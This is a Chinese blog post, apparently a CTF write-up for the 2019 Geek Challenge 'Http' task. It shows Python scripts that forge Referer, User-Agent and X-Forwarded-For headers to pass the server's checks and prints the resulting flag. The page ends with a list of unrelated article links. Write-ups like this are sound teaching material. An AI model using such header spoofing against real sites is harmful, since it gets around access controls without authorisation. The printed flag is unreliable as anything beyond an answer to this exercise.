博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
[极客大挑战 2019]Http
阅读量:4027 次
发布时间:2019-05-24

本文共 1182 字,大约阅读时间需要 3 分钟。

首先查看源码,发现了Scret.php在这里插入图片描述

访问一下:在这里插入图片描述
说我们不是从https://www.Sycsecret.com访问的,那就使用python修改请求头:

import requestsurl = 'http://node3.buuoj.cn:25765/Secret.php'headers={"Referer":"https://www.Sycsecret.com","Origin":"https://www.Sycsecret.com"}r = requests.get(url,headers=headers)with open("1.html",'w')as f:    f.write(r.text)

运行一下,python自动将html代码写入到1.html中,打开1.html:在这里插入图片描述

这里提示我们需要使用”Syclover”浏览器,这里直接修改UA头即可,加一句headers['User-Agent'] = "Syclover"

import requestsurl = 'http://node3.buuoj.cn:25765/Secret.php'headers={"Referer":"https://www.Sycsecret.com","Origin":"https://www.Sycsecret.com"}headers['User-Agent'] = "Syclover"r = requests.get(url,headers=headers)with open("1.html",'w')as f:    f.write(r.text)

在这里插入图片描述

locally,那就是需要本地访问,即用XFF头进行伪造,加一句headers['X-Forwarded-For'] = '127.0.0.1'

import requestsurl = 'http://node3.buuoj.cn:25765/Secret.php'headers={"Referer":"https://www.Sycsecret.com","Origin":"https://www.Sycsecret.com"}headers['User-Agent'] = "Syclover"headers['X-Forwarded-For'] = '127.0.0.1'r = requests.get(url,headers=headers)with open("1.html",'w')as f:    f.write(r.text)

在这里插入图片描述

flag{dea4ceac-5077-4d04-b0e3-7a7cf17ed028}


不会用python用BP也可以做,附上大佬博客:

https://www.cnblogs.com/wangtanzhi/p/12236844.html

你可能感兴趣的文章
Django 的Error: [Errno 10013]错误
查看>>
机器学习实战之决策树(一)
查看>>
[LeetCode By Python] 2 Add Two Number
查看>>
python 中的 if __name__=='__main__' 作用
查看>>
机器学习实战之决策树二
查看>>
[LeetCode By Python]7 Reverse Integer
查看>>
[LeetCode By Python]9. Palindrome Number
查看>>
[leetCode By Python] 14. Longest Common Prefix
查看>>
[LeetCode By Python]107. Binary Tree Level Order Traversal II
查看>>
[LeetCode By Python]108. Convert Sorted Array to Binary Search Tree
查看>>
[leetCode By Python]111. Minimum Depth of Binary Tree
查看>>
[LeetCode By Python]118. Pascal's Triangle
查看>>
[LeetCode By Python]121. Best Time to Buy and Sell Stock
查看>>
[LeetCode By Python]122. Best Time to Buy and Sell Stock II
查看>>
[LeetCode By Python]125. Valid Palindrome
查看>>
[LeetCode By Python]136. Single Number
查看>>
[LeetCode By Python]167. Two Sum II - Input array is sorted
查看>>
[LeetCode BY Python]169. Majority Element
查看>>
[LeetCode By Python]172. Factorial Trailing Zeroes
查看>>
[LeetCode By MYSQL] Combine Two Tables
查看>>